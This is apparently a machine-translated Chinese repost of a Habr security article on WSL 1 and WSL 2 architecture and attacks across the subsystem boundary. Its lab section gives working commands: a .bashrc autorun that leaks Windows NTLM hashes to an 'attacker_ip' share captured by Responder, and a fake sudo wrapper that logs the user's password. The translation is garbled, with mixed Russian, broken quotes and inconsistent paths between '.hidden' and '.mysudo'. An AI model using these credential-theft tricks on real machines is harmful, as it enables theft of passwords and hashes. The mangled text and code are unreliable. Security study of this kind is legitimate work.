WSL 实验。 第1部分

你好,哈布尔! OTUS 于 XNUMX 月推出新课程 《Linux 安全》。 在课程开始之际,我们与您分享一篇由我们的老师 Alexander Kolesnikov 撰写的文章。

WSL 实验。 第1部分

2016年,微软向IT社区推出了新的WSL技术(WINDOWS S子系统 Linux),这在未来使以前不可调和的竞争对手团结起来成为可能,这些竞争对手正在为普通和高级操作系统用户(Windows 和 Linux)的普及而奋斗。 这项技术使得在 Windows 环境中使用 Linux 操作系统工具成为可能,而无需运行 Linux,例如使用多重引导。 在 Habr 上您可以找到大量描述使用 WSL 好处的文章。 然而,不幸的是,在撰写本文时,在此资源上尚未找到有关这种操作系统共生的安全性的研究。 这篇文章将试图纠正这个问题。 本文将讨论 WSL 1 和 2 架构的功能,并研究使用这些技术对系统进行攻击的几个示例。 本文分为 2 部分。 第一篇将提供Linux和Windows的主要理论攻击方法。 第二篇文章将涉及设置测试环境并重现攻击。

WSL 1:架构特征

为了最准确地深入了解 WSL 安全问题,有必要确定与子系统实现相关的主要细微差别。 WSL 解决的主要用户任务之一是能够在运行 Windows 操作系统的主机上通过 Linux 终端进行工作。 此外,所提供的兼容性非常原生,Linux 可执行文件 (ELF) 可以直接在 Windows 系统上运行。 为了实现这些目标,Windows 10 中创建了一个特殊的子系统,允许您使用一组特定的系统调用来运行 Linux 应用程序 - 因此,我们尝试在 Windows 上映射一组 Linux 系统调用。 这是通过添加新的驱动程序和新的进程格式来物理实现的。 从视觉上看,该架构如下所示:

WSL 实验。 第1部分

事实上,与 Linux 操作系统的交互是通过几个内核模块和一种特殊类型的进程 - pico 来组织的。 从上图可以看出,在主机上的 Linux 实例上运行的进程必须是本机的,并且必须使用与常规 Windows 应用程序相同的资源。 但如何实现这一目标呢? 项目中 吊桥 Windows 的进程概念的开发提供了操作系统(取决于其版本)运行另一个操作系统的应用程序所需的所有组件。

请注意,所提出的抽象使得可以不关注操作系统(特别是 Windows),其中另一个操作系统的进程预计将启动,并提出了一种通用方法。

因此,pico 进程内的任何应用程序都可以运行,而无需考虑 Windows 内核:

  1. 系统调用的兼容性和翻译问题必须由专门的提供商解决;
  2. 访问控制必须通过安全监视器来完成。 监视器位于内核中,因此 Windows 需要以新驱动程序的形式进行升级,以充当此类进程的提供者。 原型 pico 流程示意如下:

WSL 实验。 第1部分

由于 Linux 文件系统使用区分大小写的文件和目录名称,因此 Windows 中添加了 2 种类型的文件系统来与 WSL 配合使用 - VolFS 和 DriveFS。 VolFS是Linux文件系统的一种实现,DriveFS是一个根据Windows规则工作的文件系统,但能够选择区分大小写。

WSL 2

WSL 1 有许多限制,不允许它用于解决最大范围的任务:例如,它不具备运行 32 位 Linux 应用程序的能力,并且无法使用设备驱动程序。 因此,2020 年,WSL 2 发布,改变了子系统的构建方法。 WSL 2 是一个优化的虚拟机,与 WSL 1 的资源消耗特征相匹配。 现在,根据Windows操作系统用户解决的问题,您可以选择所需的Linux子系统版本。 为了缓解可能存在的漏洞,WSL 2 是基于 Windows 10 中的 Hyper-V 实现的。在这种形式下,Windows 具有隔离运行 Linux 操作系统内核的能力。 值得记住的是,WSL 的第 1 版是作为测试版功能引入的,旨在展示 Windows 在该领域的开发方向,因此向 Hyper-V 的过渡是不可避免的。 最终的架构如下所示:

WSL 实验。 第1部分

在这个版本中,Windows和Linux内核拥有各自的资源,交集仅存在于文件系统中,但这种交集并不完全。 文件系统之间的交互是通过使用 9P 协议工作的客户端-服务器包装器来执行的。

今天,Microsoft 提供了在 WSL 1 和 WSL 2 之间切换的功能。两个版本都可供使用。

WSL安全

目前,有几篇著作描述了使用合法操作系统工具攻击子系统之间通信的一些方法。 在撰写本文时,我们将使用他们的脚本来检查攻击的相关性。 攻击和场景的一般列表:

1. 文件系统实现:访问权限、共享目录/数据交换机制的可用性。

进行研究以确定违反访问规则的行为 Linux FS->Windows FS、Windows FS->Linux FS。 研究已经证明了在目标操作系统中修改给定文件的能力。 还尝试替换、创建副本和删除部分文件系统。

场景:

  • A. 来自 Windows 操作系统的攻击 - 修改 Linux 操作系统的 /etc 目录中的文件。
  • B、来自Linux操作系统的攻击——修改目录中的文件: C:Windows, C:Program Files, C:Users<User>

2.网络堆栈的实现。

该研究是使用 Windows 上的 Linux 操作系统的攻击示例进行的。 利用了网络堆栈的特性,即对各种资源的身份验证机制。

场景:

  • 打开对Windows系统上被占用的端口的访问
  • 在没有适当权限的情况下打开端口
  • 在Windows操作系统上使用elf文件运行反向shell。

3.使用WSL子系统隐藏恶意软件进程的启动。

该研究基于一个简单的事实 - 在 WSL 1 的情况下,安全子系统无法拦截使用操作系统中的合法提供程序工作的另一个内核中的事件。在 WSL 2 的情况下,无法查看发生的事件在轻量级虚拟机内的单独内核中。

场景:

1) 启动应用程序以远程访问系统并查看记录的事件。

WSL 1 实验:哈希拦截(Windows)

最后我们进入了实践部分。 首先,您需要设置测试环境。 所有实验均在安装了 Windows 10 2004 的实验台上进行,选择 Ubuntu 18.04 镜像作为 WSL 的操作系统镜像。 该图像是随机选择的,任何其他图像都将具有相同的效果。 设置支架的命令:

您必须先启动 powershell.exe 作为管理员。

对于 WSL 1,您需要运行以下命令:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • 重新启动支架后,您可以调用 bash 命令。 如果一切正常,您将在 Windows 控制台中看到类似以下的输出:

    WSL 实验。 第1部分

    我们将使用 Kali Linux 发行版作为攻击者的机器;所有机器必须位于同一本地网络上。

    假设我们在 Windows 计算机上拥有对 WSL 的无特权访问权限。 让我们尝试通过从 Linux 调用命令来攻击 Linux 操作系统。 为了实施攻击,我们将使用简单的自动运行技术 - 我们将添加脚本以在 Linux 环境中执行。 为此,您需要更改文件 .bashrc.

    在具有 WSL 的机器上我们执行:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    在 Kali Linux 机器上我们运行:

    1. Responder -I eth0 -rdvw

    在 Windows 机器上,让我们启动 bash。

    我们正在 Kali Linux 机器上等待结果:

    WSL 实验。 第1部分

    这样,我们就在Linux系统上执行命令,通过WSL子系统获取了Windows用户的哈希值。

    WSL 1实验:获取用户密码(Linux操作系统)

    让我们再做一个实验。 在此检查期间,我们将添加到文件中 .bashrc 几个命令以获取Linux操作系统用户密码。

    让我们启动 bash 并输入命令:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    为了成功完成攻击,用户Sam需要在Linux终端中调用sudo。 之后,Linux操作系统用户密码将在该文件中 pass.txt:

    WSL 实验。 第1部分

    攻击的实施仅提供理论信息。

    本文的下一部分将描述 9P 协议的实现,考虑为该协议创建扫描器,并使用它进行攻击。

    使用的文献列表

    WSL 实验。 第1部分

    阅读更多

    来源: habr.com

    添加评论